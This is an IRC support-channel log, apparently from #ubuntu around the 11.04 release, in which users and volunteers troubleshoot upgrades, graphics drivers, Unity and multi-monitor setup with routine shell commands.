[06:00] <allowoverride> mikinanuq: lol,, i know huh,,, i didnt config that log function
[06:00] <celthunder> krakpot: that work?
[06:00] <allowoverride> mikinanuq: prolly towards the bottom
[06:00] <truepurple> vibhav: I don't want to use the open source drivers, I want to use the proprietary ones that you get from additional drivers
[06:00] <maddie> mikinanuq I did everything you said. It looks like a new install yet I still have the same problem :/
[06:00] <arkanabar> how do I upgrade installed system from 10.10 to 11.04?
[06:01] <krakpot> celthunder: not sure how to 'add a 3 in grub'
[06:01] <Roasted> Flynsarmy, in that menu could you change the bar to auto hide or icon sizes?
[06:01] <bazhang> !upgrade > arkanabar
[06:01] <ubottu> arkanabar, please see my private message
[06:01] <jla> pfifo: installed linux-source, linux-source-2.6.38; same error. I think the message 'kernel source for this kernel doesn not seem to be installed' is misleading :) uname -r 2.6.38-8-generic-pae
[06:01] <Flynsarmy> arkanabar: alot of issues with upgrades on the Known Issues page
[06:01] <Flynsarmy> Roasted: hahahaha now theres some wishful thinking.
[06:01] <mikinanuq> maddie: hmm :( .. so you log in, set up your preferences like you like.. then it reverts back?
[06:01] <vibhav> <arkanabar> Alt F2 --> "update-manager -d"
[06:01] <bazhang> vibhav, thats not correct
[06:01] <vibhav> <arkanabar> at the top click on "upgrade"
[06:01] <Roasted> Flynsarmy, are you on 2d tho, or 3d?
[06:02] <maddie> mikinanuq yep :/
[06:02] <Flynsarmy> Roasted: 3D
[06:02] <vibhav> <bazhang> whats corrent then...
[06:02] <beoyndcr> i think i just hate the bar being on the left side of the screen I use to hate when people would set their windows task bar to the left and this is what that reminds me of
[06:02] <FearXFactorX> what is this?
[06:02] <bazhang> vibhav, its no longer development
[06:02] <celthunder> krakpot: http://nixcraft.com/linux-software/2654-ubuntu-set-default-runlevel-etc-inittab.html
[06:02] <jla> pfifo: ahh, was missing -pae headers :S
[06:02] <bazhang> !upgrade | vibhav have a read
[06:02] <ubottu> vibhav have a read: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[06:02] <arkanabar> yeah, if I'd come here under ubuntu instead of PCLOS, I'd have probably figured that out.
[06:02] <vibhav> <bazhang> ohhh...I remember....Thats for pre-release...
[06:02] <ZykoticK9> vibhav, -d in update-manager if for "development" ie. alpha/beta -- Natty is now stable
[06:03] <pfifo> jla, you only need -pae if you have over 4gb of memory, if you dont you should consider generic
[06:03] <truepurple> vibhav: Are you able to help me with this driver that won't install?
[06:03] <vibhav> bazahng : - Sorry guys!
[06:03] <yell0w> has anyone in here successfully used fglrx for ati with -pae kernels ?
[06:03] <vibhav> <truepurple> Lemme see
[06:03]  * ZykoticK9 "Natty is now stable" that's funny
[06:03] <unityproblem> natty final release not showing on update manager??
[06:03] <amy_> when using the startup disk creator and it asks about updates, etc. It won't try and install it on the system I'm creating the USB startup drive from, will it?
[06:03] <maddie> could anyone else answer my question? :/ https://answers.launchpad.net/ubuntu/+source/unity/+question/154875
[06:04] <celthunder> ZykoticK9: theres no such thing as 100 percent stable software
[06:04] <unityproblem> natty final release not showing on update manager??
[06:04] <allowoverride> mikinanuq: maybe this one will work better, its newer.... http://pastebin.com/58SgFsQF
[06:04] <allowoverride> mikinanuq: thanks for taking a alook. :)
[06:04] <unityproblem> updating from 11.04 beta to final ??
[06:05] <celthunder> krakpot: ? any luck
[06:05] <unityproblem> how to do that?
[06:05] <mikinanuq> allowoverride: yeah I see the squashfs errors under the temp dir...
[06:05] <truepurple> vibhav: See what, the error message I get?
[06:05] <vibhav> truepurple : - http://paste.ubuntu.com/601146/
[06:05] <allowoverride> mikinanuq: what is the next step you think?
[06:05] <MohammadAG> sudo apt-get dist-upgrade
[06:05] <vibhav> truepurple : - Gl
[06:05] <jla> pfifo: all my .35's are generic. I think the upgrade picked -pae, maybe because I have exactly 4gb so I don't get the top 1-2GB wasted by bios/device memmap
[06:05] <ZykoticK9> MohammadAG, dist-upgrade does NOT update to a new version
[06:05] <Viking667> bah. Not enough room...
[06:05] <krakpot> celthunder: trying to do that now, hopefully this will work
[06:05] <vibhav> truepurple  :- I gtg
[06:06] <MohammadAG> ZykoticK9, umm, he asked about beta to final
[06:06] <mikinanuq> allowoverride: go to that directory and see if it's there..
[06:06] <jla> pfifo: and the header selection stuff didn't use my uname -r to get the -pae headers maybe
[06:06] <allowoverride> mikinanuq: i just noticed something,,, this doesnt make sense... i know i downloaded 11.04 today, 32 bit, 11-13 06:26 DEBUG  Distro: wrong arch: i386 != amd64
[06:06] <ZykoticK9> MohammadAG, sorry that is correct then!
[06:06] <unityproblem> how to upgrade from 11.04 beta to final ?
[06:06] <Shaggy2> anyone able to assist me with my 3 monitors, I have an issue with it, I have all 3 working, but one I can not change from about 800x600 and also I want to be able to drag windows from one screen to another
[06:06] <pfifo> jla, so -pae got the nvidia installed correctly in the end?
[06:06] <unityproblem> how to upgrade from 11.04 beta to final ?
[06:06] <allowoverride> check out line 195
[06:06] <truepurple> vibhav wait please, contact info? I need more information
[06:06] <lubuntu> hello
[06:06] <allowoverride> mikinanuq: check out line 195
[06:06] <MohammadAG> unityproblem, you don't read do you?
[06:07] <unityproblem> i did but its showing errors.
[06:07] <allowoverride> mikinanuq: does that make any sense?
[06:07] <MohammadAG> unityproblem, <MohammadAG> sudo apt-get dist-upgrade
[06:07] <nabi1> how to upgrade to ubuntu 11.04 with CD?
[06:07] <maddie> https://answers.launchpad.net/ubuntu/+source/unity/+question/154875 help anyone? :(
[06:07] <celthunder> Shaggy2: xrandr -output <OUTPUTTORESIZE> -mode 800x600
[06:07] <lubuntu> where is the ubuntu korea channel?
[06:07] <mikinanuq> allowoverride: hmm yeah maybe you got the 64bit version for some reason ...
[06:07] <izinucs> how do I query what channels a nick is in?
[06:07] <ZykoticK9> nabi1, you need the alternate cd, NOT the LiveCD - don't ask me how though
[06:07] <allowoverride> mikinanuq: no way,, thats just rediculious,,,
[06:07] <jla> pfifo: it looked like it compiled on install of the -pae headers, but still no modinfo for nvidia. rebooting and then if it still fails trying reinstall nvidia-173
[06:07] <unityproblem> http://pastebin.com/ifNdxPam
[06:07] <Artarian> guys any tutorial to rollback version to 10.10??????
[06:07] <mikinanuq> allowoverride: also I was going to say (I've never done wubi but..) if there is a way to tell it where to put the squashfs try to put it somewhere else see if that works..
[06:07] <unityproblem> this is the errori am getting
[06:07] <allowoverride> mikinanuq: i know i selected 32 bit... let me triple check
[06:08] <pfifo> !cn | I think its in this factoid lubuntu
[06:08] <ubottu> I think its in this factoid lubuntu: For Ubuntu help in Chinese 您可以访问中文频道：打字 /join #ubuntu-cn 或者 打字 /join #ubuntu-tw  或者 打字 /join #ubuntu-hk
[06:08] <ZykoticK9> Artarian, reinstall...
[06:08] <allowoverride> mikinanuq: yah that would make sense huh
[06:08] <Artarian> ZykoticK9, how to do that
[06:08] <jla> pfifo: yes, it worked on reboot
[06:08] <test> hello i have problem, i download yesterday ubu 11.04 (correct md5sum) but when i run live cd or install on main machine then it crashed when loading, i can see "ubuntu 11.04" and 4 loading points, then i can see mouse cursor (i can move it) then all stoping and i can see only black or purple screen and nothing more. cd is working on my friend notebook, anyone know whats going on?
[06:08] <Nabi> ZykoticK9: thanks
[06:08] <allowoverride> mikinanuq: good old slack days lol
[06:08] <lubuntu> #ubuntu-ko
[06:08] <nit-wit> Artarian, roll back is not a go
[06:08] <ZykoticK9> Artarian, as in - fresh reinstall, rollback not supported
[06:08] <quentusrex> Anyone know how to find out why KVM bridged utils is not passing ipv4?
[06:08] <jla> pfifo: tyvm for help/sounding board
[06:08] <allowoverride> compile everything!
[06:08] <Shaggy2> <celthunder> I want to goto 1280 x 1024
[06:08] <krakpot> celthunder: no luck. there is no file '/etc/event.d/rc-default' so I can't follow those instructions...
[06:08] <quentusrex> only happened after upgrading to 11.04
[06:08] <Artarian> nit-wit, ZykoticK9  whatever how to do that
[06:08] <pfifo> jla, np
[06:08] <Artarian> test, u did the biggest mistake ever upgrading to 11.03
[06:09] <Artarian> 11.04* thats it
[06:09] <nit-wit> Artarian, do whst?
[06:09] <celthunder> krakpot: then edit /boot/grub/grub.cfg and add a 3 to the kernel line
[06:09] <Artarian> nit-wit, getting back to older version?
[06:09] <celthunder> krakpot: save and next reboot should work
[06:09] <mikinanuq> allowoverride: I cheated and used tgz's :)
[06:09] <Flynsarmy> wtf. why won't apps sys tray icons appear in 11.04 gnome classic??? have to start vlc up several times to get it to appear
[06:09] <nit-wit> Artarian, you have to do a fresh install
[06:09] <celthunder> Shaggy2: so use that and change 800x600 to whatever
[06:09] <Artarian> wow
[06:09] <allowoverride> mikinanuq: im just gonna burn 10.10 again, and go with that,, i think the 11.04 makefile or whatever they use - wubi, is hosed
[06:09] <jla> I'm liking the new unity on my laptop, works better than in 10.10; on my desktop will take some getting use to.
[06:09] <maddie> can anyone answer my question? https://answers.launchpad.net/ubuntu/+source/unity/+question/154875
[06:09] <bc81> hi.  i need some help unmounting this stubborn nfs share.  it's got nautilus timing out and frozen, doing all kinds of odd things.
[06:09] <test> Artarian, but i dont upgrade from 10.10 to 11.04, that was pure instalation on fresh HDD
[06:10] <nit-wit> Artarian, that is why you should clone the setup before you mw=ess with upgrading
[06:10] <mikinanuq> allowoverride: I was going to say why use wubi in the first place but hey...
[06:10] <unityproblem> MohammadAG http://pastebin.com/ifNdxPam
[06:10]  * LAcan is is installing thru wubi right now :|
[06:10] <Roasted> Was there a fix for Unity yet with dual screen monitors?
[06:10] <slyrus> what do package versions like 3.2.is3.0.1-0ubuntu1?
[06:10] <spikebike> Roasted: whats wrong with unity on dual head setups?
[06:10] <Roasted> spikebike, unity only likes being on the left. But my right monitor = main monitor. I can't figure out how to get the unity bar to be on the left of my right (main) monitor.
[06:10] <Flynsarmy> Are the nvidia 3D experimental stable enough to use in 11.04?
[06:11] <Shaggy2> <celthunder> ok thanks for that, but how do I make it so I can drag windows across the monitors, at the moment I can only open up on the monitor I want it on but I can't move from monitor to monitor
[06:11] <html_inprogress> how can i tell my host name
[06:11] <allowoverride> mikinanuq: yep i downloaded i386 positively, however, i downloaded it on a 64bit box, burned to cd, then did the wubi install, i have no other option but to dual boot this box
[06:11] <krakpot> celthunder: ok I will give it a shot
[06:11] <allowoverride> the bios is from an real old laptop, pre2000
[06:11] <celthunder> Shaggy2: ok uhm what ui you using
[06:11] <Shaggy2> ubuntu 10.04
[06:11] <unityproblem> any body can help with this  http://pastebin.com/ifNdxPam   i am not able to upgrade
[06:11] <spikebike> Roasted: heh, ah, have 2 desktops, each with 2 monitors, and it's of course on the left of the left monitor
[06:11] <celthunder> Shaggy2: that sounds more like a window manager restriction than anything
[06:12] <Roasted> spikebike, is your left monitor you rmain monitor?
[06:12] <mikinanuq> allowoverride: oh so can't boot from CD?
[06:12] <ZykoticK9> Flynsarmy, i don't think any Nvidia proprietary drivers will work on 11.04... I've asked in the channel, and don't believe the one person who said they have it working (i could certainly be wrong)
[06:12] <spikebike> Roasted: not sure what main means... I use em both
[06:12] <Roasted> spikebike, ah. I have mismatching monitors, so my bigger one = main.
[06:12] <allowoverride> mikinanuq: maybe thats why im getting the squashfs error,,, and yes,, i cant boot to cdrom with out disabling in bios the hd. which of course means, i can load to hd if disabled lol
[06:12] <unityproblem> any body can help with this  http://pastebin.com/ifNdxPam   i am not able to upgrade....
[06:12] <maddie> launcheeeeer in driving me bonkers. why does it always revert to default icons in the launcher every freeking time I login? D:
[06:12] <Flynsarmy> ZykoticK9: i'm using nvidia proprietry right now without issue lol. i was asking about the open source 3d experimental ones
[06:12] <Roasted> spikebike, my 2nd one is just for IRC, email, IMs, etc. I dont WORK from it, it just displays additional... crap. :P
[06:12] <arnab> hi - how do i see youtube in the latest version of ubuntu?
[06:12] <allowoverride> mikinanuq: i have a catch 22 going here
[06:12] <Flynsarmy> ZykoticK9: nvidia proprietry have worked in every version of ubuntu fine
[06:12] <spikebike> Roasted: I have a 1920x1200 and 1600x1200 on one machine
[06:12] <ZykoticK9> Flynsarmy, in 11.04?
[06:12] <Flynsarmy> ZykoticK9: yep
[06:13] <scorch_> yo yo yo, anyone got 11.04 onto a laptop yet and tested with batter?
[06:13] <spikebike> unityproblem: try atp-get upadte apt-get upgrade before that dist-upgrade
[06:13] <unityproblem> any body can help with this  http://pastebin.com/ifNdxPam   i am not able to upgrade
[06:13] <ZykoticK9> Flynsarmy, interesting...
[06:13] <mikinanuq> allowoverride: gotcha.. :)
[06:13] <Flynsarmy> ZykoticK9: what exactly did you think didn't work about them?
[06:13] <GabrielYYZ> any pygtk gurus here that could give me an idea on how to implement an adjustment and an hscale on a video player?
[06:13] <Shaggy2> celthunder: also this xrandr -output <OUTPUTTORESIZE> -mode 800x600 how do I make on;y do that to a certainmonitor, as I have 3 montiors ones widescreen and the other 2 are normal 17"
[06:13] <Nabi> ZykoticK9: if I use DVD, how about?
[06:13] <ZykoticK9> Flynsarmy, Nvidia said they weren't interested in using the replacement of Xorg... forgot what it's called.
[06:14] <celthunder> Shaggy2: change the outputhere part to the one you want
[06:14] <ZykoticK9> Nabi, i don't think the DVD is an alternate, i think that's a Live, thus can't do upgrades
[06:14] <Shaggy2> ahhhh ok
[06:14] <allowoverride> im pretty much at a stand still... i have no idea what i can do next to get this box to dual boot other than the i386/64amd error which makes sense,,, anyone else have some thoughts? http://pastebin.com/nqiu6HBh
[06:14] <quentusrex> Anyone know how to force ipv4 networking
[06:14] <html_inprogress> how can i tell my host name?
[06:14] <quentusrex> and disable ipv6?
[06:15] <celthunder> Shaggy2: for example i'm on a netbook so i use xrandr -output LVDS1 -mode 1024x600 -output VGA1 -mode 1440x900
[06:15] <ZykoticK9> html_inprogress, "hostname" in a terminal will show you
[06:15] <BATMAN> guys i can't upgrade to 11.04 using the update manger whenever i click on upgrade it shows me an error "failed to download release note, check your internet connection"
[06:15] <celthunder> Shaggy2: also helps to spcefiy where to put them such ass ad -right-of LVDS1 after output vga1 asw ell
[06:15] <scorch_> 11..-4 when my laptop is on battery pwer the screen flickers sometimes and the britness bar comes up and move quickly.  this disables the mouse and the only way to get it to stop is to press a key on the key board
[06:15] <html_inprogress> allowoverride,  reinstall gurb in safe mode????
[06:15] <Flynsarmy> ZykoticK9: If you have an nvidia card, when you first install 11.04 you'll be greeted with an extremly ugly popup box (very strange looking thing) that says your hardware doesnt support unity. if you then go and install the proprietry ones from additional drivers window and reboot, both unity and classic work fine. at least thats my experience. 8600M GT on a dell inspiron 1520
[06:16] <maddie> Help help Launcher Icons Revert to Default Upon Login
[06:16] <GabrielYYZ> quentusrex, nano /etc/modprobe/blacklist.conf and add "blacklist ipv6" at the end without the quotes
[06:16] <allowoverride> i think also the permissions issue error on xp shows, that its creating an Ubuntu dir on c:\Ubuntu which means, the perms on C drive are mucked up
[06:16] <alpha255> Flynsarmy: even if i installed the 2d version
[06:16] <alpha255> ?
[06:16] <Sik> OK, I upgraded to 11.04 and I'm having issues with the video driver it seems... This is the contents of /var/log/Xorg.0.log: http://pzt.me/5rjk I've tried fixing the packages (dpkg) and uninstalling the video driver then reinstalling it, but no matter what I do, X hangs after the log in screen unless I go into safe mode
[06:16] <GabrielYYZ> quentusrex, and reboot*
[06:16] <ZykoticK9> Flynsarmy, thanks.
[06:16] <allowoverride> html_inprogress: thats a good idea, i was thinking bout safe mode, but the perms issue, will that work out in the end lol
[06:16] <Shaggy2> celthunder: so xrandr -output <DFP-0> -mode 1280x1024
[06:16] <jdsbluedevl> hi, can someone tell me why the Unity desktop is causing my screen to blink?  GNOME works perfectly fine.
[06:16] <Flynsarmy> alpha255: before installing the proprietry drivers you're sent to gnoem classic - not even unity 2d loaded for me
[06:17] <allowoverride> only one way to find out,,, ill give it a whirl, safe mode. oh and there is no grub menu at this point.... i havent gotten grub on the drive yet...
[06:17] <celthunder> Shaggy2: sure type xrandr by itslef to find what the current outputs/settings for each are
[06:17] <alpha255> Flynsarmy: ahh
[06:17] <allowoverride> if i did, i wouldnt have this issue lol
[06:17] <scorch_> jsbluedevl:  on a laptop?
[06:17] <celthunder> Shaggy2: should be able to find the errant one
[06:17] <Shaggy2> ok
[06:17] <jdsbluedevl> scorch_: no, desktop
[06:17] <Guest22122> i can't upgrade to 11.04 using the update manger whenever i click on upgrade it shows me an error "failed to download release note, check your internet connection" how can i fix this
[06:17] <mikinanuq> allowoverride: go for floppies ;) ...
[06:17] <Buzzzz> since we are talking dual screen do anyone know how to make flash appear on the preferred screen in an dual screen setup?
[06:17] <allowoverride> lol
[06:17] <alpha255> sudo apt-get install unity-2d
[06:17] <allowoverride> no floppy shrugs
[06:17] <allowoverride> bbiab
[06:17] <mikinanuq> :(
[06:17] <merther> I'm looking to create a variable that contains the name of a mounted volume attached.  The name of the volume is different depending on the drive attached.  If I use mount -l it will list the device then the mount point.  /dev/sr0 on /media/volume type etc...  Is there a way to extract the information that's in the place of 'volume'?
[06:17] <scorch_> jsbluedevI am here with the same problem
[06:17] <Flynsarmy> alpha255: it's not installed by default?
[06:17] <alpha255> i'll do the unistall and then try to 3d
[06:17] <Guest22122> isn't it unity-qt?
[06:18] <jdsbluedevl> scorch_: processor is a P4 2.8 GHz, but I don't think that should matter
[06:18] <alpha255> it's wasn't on this laptop
[06:18] <LAcan> merther, grep!?
[06:18] <truepurple> I failed to install a ATI driver from additional drivers, http://pastebin.com/9iC0sCwL Can someone please help make this work?
[06:18] <eventus> is there a way to enable desktop effects in Natty when your graphics card isn't supported by Unity. I'm currently using Unity 2D and I really miss my wobbly windows
[06:18] <knightwise> morning
[06:18] <alpha255> i wasn't connected to internet during install
[06:18] <mikinanuq> eventus: did it work before the upggrade?
[06:18] <jmwpc> After upgrading to 11.04, shutting down doesn't actually power off my laptop, it just goes to a black screen.
[06:19] <GabrielYYZ> quentusrex, sorry it's "/etc/modprobe.d" not modprobe
[06:19] <eventus> mikinanuq: yes
[06:19] <mikinanuq> eventus: try ubuntu tweak and go to the compiz screen. install compiz plugin.
[06:19] <bp0> merther, /dev/disk/by-* ?
[06:19] <bp0> look in there
[06:19] <scorch_> 11..-4 when my laptop is on battery pwer the screen flickers sometimes and the britness bar comes up and move quickly.  this disables the mouse and the only way to get it to stop is to press a key on the key board
[06:20] <haroon> helo
[06:20] <mikinanuq> eventus: then you can set it from the compiz config settings manager
[06:20] <haroon> hello
[06:20] <truepurple>  I failed to install a ATI driver from additional drivers, http://pastebin.com/9iC0sCwL Can someone please help make this work?
[06:20] <merther> LAcan,  I can grep for /dev/sc0 etc... and that gives the whole line including file system type.  So from that result how do I get only the desired variable from /media/variable?
[06:20] <yuskhanzab> something wrong with my ubuntu, i cant play dota(warcraft) in wine properly because of the keyboard detect something in desktop. ive been configure it and nothing happen. can someone pls help me how to???? when i open the game and press the keyboard key, it detect like something search word(dunno what is it). it appear after i upgrade to natty. pls help me to disable that search word in desktop.
[06:20] <mikinanuq> eventus: don't muck around with compiz too much though unless you have a backup of your home folder that you can revert to if you get everything hosed
[06:21] <pfifo> merther, `mount -l|grep sr0|sed 's/.*\///'`
[06:21] <redgone> has anyone done any performance/battary benchmark for unity? it seems to use compiz, as opposed to mutter
[06:21] <unityproblem> http://pastebin.com/L8ZPREwp
[06:21] <Flynsarmy> mikinanuq: eventus: ccsm lets you take compiz settings backups and has import functionality if things go back.
[06:21] <tanstaafl> Hi, is there a way to change the order of icons in the unity sidebar?
[06:21] <Flynsarmy> go bad*
[06:22] <mikinanuq> yuskhanzab: is it a key combination key like alt+f2 that messes you up?
[06:22] <haroon> my wireless network shows disabled in NM and when I write this command from terminal ( sudo iwlist scan) it shows available networks how can I coonect with
[06:22] <haroon> 11.04
[06:22] <SS_> Hello Ubuntu Release 11.4 had many problems
[06:22] <yuskhanzab> i done what is that.. its not a combination key like alt F2
[06:22] <bp0> SS_, yes.
[06:23] <mikinanuq> tanstaafl: I think it just keeps them there in the order they were added
[06:23] <THE-SE7EN-SINS> Ohai guies
[06:23] <truepurple>  I failed to install a ATI driver from additional drivers, http://pastebin.com/9iC0sCwL Can someone please help make this work?
[06:23] <yuskhanzab> when i press any key like a b c d, it comes
[06:23] <tanstaafl> mikinanuq: how annoying.  thanks
[06:24] <yuskhanzab> in desktop
[06:24] <mikinanuq> tanstaafl: remove and add in the right order :( ... I think I was able to drag them at one point in the beta but not working now
[06:24] <miles__> So far, most of Natty has been pretty awesome. I've got only one problem now, and I wonder if it's a common one at this point: apt has been very slow.
[06:24] <scorch_> jsbluedevl:  when does it do it?
[06:24] <THE-SE7EN-SINS> Is it just me or has the sound been amped way up in 11.04?
[06:24] <yuskhanzab> it is a bug or what?
[06:24] <SS_> What do you think Ubuntu 11.4
[06:24] <merther> pfifo, that seems a little better
[06:24] <tanstaafl> mikinanuq: Guess that's what I'll do.  Thanks for the info
[06:24] <pfifo> miles__, repos are flooded, try using a mirror
[06:24] <mikinanuq> tanstaafl: ok
[06:24] <diffract|> how do i merge tracks in audacity?
[06:24] <bp0> THE-SE7EN-SINS, yes it seems that way... something is definitely wrong with sound
[06:24] <miles__> Alright, I thought so. Thanks.
[06:25] <pfifo> THE-SE7EN-SINS, funny, mine was way too low
[06:25] <haroon> hello
[06:25] <haroon> I need
[06:25] <haroon> help
[06:25] <sebsebseb> !ask | haroon
[06:25] <ubottu> haroon: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[06:26] <mikinanuq> yuskhanzab: hmm I don't play warcraft in wine so I don't have any firsthand experience with this issue. just guessing... if you start notepad in wine and type do the letters that you type show up correctly?
[06:26] <haroon> I am facing problem wireless is disabled by hardware Sitch
[06:26] <yuskhanzab> wait i check
[06:27] <mato1> da yg tau kmn perginya system?
[06:27] <mikinanuq> yuskhanzab: maybe wine is messed up and when you are sending a b c etc... it sees other UTF characters or ACSII stuff that shouldn't be going over..
[06:28] <yuskhanzab> mikinanuq, ya, i can type correctly in notepad
[06:28] <Barsuk> Hi
[06:28] <Barsuk> How  to change gnome to unity?
[06:28] <roasted_> Is there a way to create hotkeys to reduce/raise backlight brightness on laptops? I don't have function keys for it on this particular laptop. :(
[06:29] <teknowill> Barsuk: install 11.04 unity is default
[06:29] <Barsuk> so no gnome here?
[06:29] <truepurple>  I failed to install a ATI driver from additional drivers, http://pastebin.com/9iC0sCwL Can someone please help make this work?
[06:29] <Barsuk> yesterday was gnome, now unity.
[06:29] <mikinanuq> yuskhanzab: do you have any special settings in warcraft for keybindings? maybe try making everything as "default" as possible to see if it works then start customizing it.
[06:29] <celthunder> Barsuk: install unity/gnome whichever you want
[06:30] <sebsebseb> Barsuk: Unity goes on top of Gnome 2.  and Ubuntu Classic Desktop /  Gnome 2 with the Ubuntu specific stuff, is there as well.
[06:30] <jdsbluedevl> how do I wipe the compiz-config settings?  Turning on Unity within GNOME and restarting just caused my desktop to start blinking again
[06:30] <yuskhanzab> ok, ill try
[06:30] <jonsaco> hola alguien me puede ayudar las particiones no las puedo montar
[06:30] <Barsuk> so no way now to turn on gnome?
[06:30] <sebsebseb> !es | jonsaco
[06:30] <ubottu> jonsaco: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[06:30] <sebsebseb> Barsuk: turn on gnome?
[06:30] <Barsuk> I want gnome.
[06:30] <jonsaco> gracias
[06:30] <[thor]> Barsuk: gnome2 is "turned on" as well as unity
[06:30] <sebsebseb> Barsuk: ok so you got Unity showing?
[06:31] <Barsuk> sebsebseb, yes
[06:31] <Shaggy2> ok can someone tell me how to install ATI Drivers on 10.04
[06:31] <[thor]> Barsuk: you want gnome 1.xx ?
[06:31] <sebsebseb> Barsuk: log out, and select Ubuntu Classic Desktop from the log in screen
[06:31] <pfifo> yuskhanzab, give me a minute ill fire up wow and see if I can do the same thing, if I can Ill probbally be able to fix it, it will take me a momen t  to install wine tho
[06:31] <sebsebseb> Barsuk: set it as default even :)
[06:32] <truepurple> Shaggy2, one way is to go into system, adminstration, additional drivers (different name under 10.4, I forget) though its not working for me
[06:32] <merther> pfifo, the command you mentions gives more output then I'd like.  It does however show the exact data betwee [] such as [volume_name].  How do I get the data between those so that I only have volume_name?
[06:32]  * AlbertoP cannot turn on unity :(
[06:32] <miles__> Hm. Even after testing for the best mirror for my location, I'm only getting 20kbps.
[06:32] <yuskhanzab> ok pfifo
[06:32] <sebsebseb> !details | AlbertoP
[06:32] <ubottu> AlbertoP: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[06:32] <truepurple>  I failed to install a ATI driver from additional drivers, http://pastebin.com/9iC0sCwL Can someone please help make this work?
[06:32] <tanstaafl> The sound in my logitek usb headphones is very quiet, speakers work fine though.  Any fix for this?
[06:32] <mikinanuq> haroon: so the hardware switch is preventing wireless... it sounds like the question needs to be rephrased otherwise I would say just turn on wireless with the hardware switch.. need more info
[06:32] <pfifo> merther, show me exactly what command your typing and the output... pastebin.com
[06:32] <ZykoticK9> miles__, expect all mirrors to be busy for the next couple of days
[06:33] <AlbertoP> sebsebseb: it says the hardware is insufficient, but it is a nvidia quadro. And it runs gnome 2.
[06:33] <sebsebseb> AlbertoP: ok is that a new card or?
[06:33]  * vibhav is ready to help!!
[06:33] <Flynsarmy> AlbertoP: have you installed nvidia proprietry?
[06:33] <AlbertoP> sebsebseb: yes, brand new
[06:33] <sebsebseb> AlbertoP: is a propritary driver installed?
[06:33] <miles__> ZykoticK9: I was kinda afraid of that. That's fine though. Can't wait for things to clear up.
[06:34] <AlbertoP> sebsebseb: well, yes
[06:34] <vibhav> anyody with any problem??
[06:34] <sebsebseb> AlbertoP: also your card may be to new for Unity
[06:34] <Vustom> How do I add a custom launcher to Unity 3D (Ubuntu 11.4) and have an icon for the launcher as well?
[06:34] <AlbertoP> sebsebseb: oh
[06:34] <sebsebseb> AlbertoP: well the 3D version of it, Unity 2D well of course not
[06:34] <bazhang> vibhav, please dont ask.
[06:34] <AlbertoP> sebsebseb: is there a list of supported cards?
[06:34] <Flynsarmy> Too new :( how sad is that
[06:34] <andro_> why do the 64bit and 32 bit versions have different uis?
[06:34] <sebsebseb> AlbertoP: ok so it says the driver is installed, but not activiated? in additional drivers?
[06:34] <vibhav> bazhang I have refiened all me facts.. So i am ready to help!
[06:34] <drhydralisk> After a fresh install my headphones worked fine (auto switched to proper output) but when I restart my headphones are not recognized anymore (I did another fresh install without changing a single thing, just restarting and it still happened), any help?
[06:34] <AlbertoP> sebsebseb: no, the driver is running fine
[06:35] <sebsebseb> AlbertoP: in general Linux distro's work best with not to old, and not to new hardware
[06:35] <sebsebseb> AlbertoP: and you get an error message when trying to load Unity?
[06:35] <bazhang> vibhav, there's no need to say "anyone want help?"; if you can help with an issue do so.
[06:35] <AlbertoP> sebsebseb: yes, that error message appears in a GTK dialog at login
[06:35] <Shaggy2> truepurple: I have Hardware drivers, but it only shows nVidia drivers there, I have a PCI nVidia card, and a PCIe ATI Card
[06:35] <Vustom> D:
[06:35] <Shaggy2> might shutdown and pull the nVidia card
[06:36] <Shaggy2> bbs
[06:36] <sebsebseb> AlbertoP: ok if you remove the propritary driver,  an experimetnal 3D driver is probablay available and it may work with that.  or just use Unity 2D or Gnome Shell from the ppa instead or something :)
[06:36] <merther> pfifo, http://pastebin.com/9MwCtkxW
[06:36] <AlbertoP> sebsebseb: ok
[06:36] <AlbertoP> thank you
[06:36] <merther> pfifo, only want DriveName in the variable
[06:37] <sebsebseb> !gnome3 | AlbertoP
[06:37] <ubottu> AlbertoP: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[06:37] <sebsebseb> !unity  | AlbertoP
[06:37] <ubottu> AlbertoP: Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[06:37] <truepurple>  I failed to install a ATI driver from additional drivers, http://pastebin.com/9iC0sCwL Can someone please help make this work?
[06:38] <sebsebseb> AlbertoP: thought Unity factoid might have mentioned 2D version, hadn't seen it yet
[06:38] <AlbertoP> sebsebseb: yeah, I know... the "fork" story was everywhere ;-)
[06:38] <Cairo> celthunder: thanks for the help
[06:38] <truepurple> sebsebseb: Can you help me?
[06:38] <Cairo> i can boot fine now except if I do recovery mode
[06:38] <Cairo> but it gets stuck on booting up normally
[06:39] <Cairo> as in it displayes fine but it gets stuck
[06:39] <Cairo> oh
[06:39] <Cairo> now i cant get where it gets stuck
[06:39] <Cairo> brb
[06:39] <Sik> I upgraded to 11.04 and I'm having issues with the video driver it seems... This is the contents of /var/log/Xorg.0.log: http://pzt.me/5rjk I've tried fixing the packages (dpkg) and uninstalling the video driver then reinstalling it, but no matter what I do, X hangs after the log in screen unless I go into safe mode <-- Does anybody know how to fix it? :P
[06:39] <pfifo> merther, mount -l|grep sr0|sed 's/.*\/\(.*\) type.*/\1/'
[06:39] <celthunder> Cairo: i helped you ? when
[06:40] <yuskhanzab> pfifo, u have the same prob as me?
[06:40] <pfifo> yuskhanzab, still installing, slow repos
[06:40] <yuskhanzab> ok
[06:40] <allowoverride> nope, same issue, unable to boot to ubuntu with wubi, im now trying 9.10 desktop 32. also, i think the i368 was not an error, but a check
[06:41] <allowoverride> nope, same issue, unable to boot to ubuntu with wubi, im now trying 9.10 desktop 32. also, i think the i368 was not an error, but a check
[06:41] <Vustom> How do I add a custom launcher to Unity 3D (Ubuntu 11.4) and have an icon for the launcher as well?
[06:41] <bp0> I removed overlay-scrollbar and restarted... but the scrollbars are still the new style
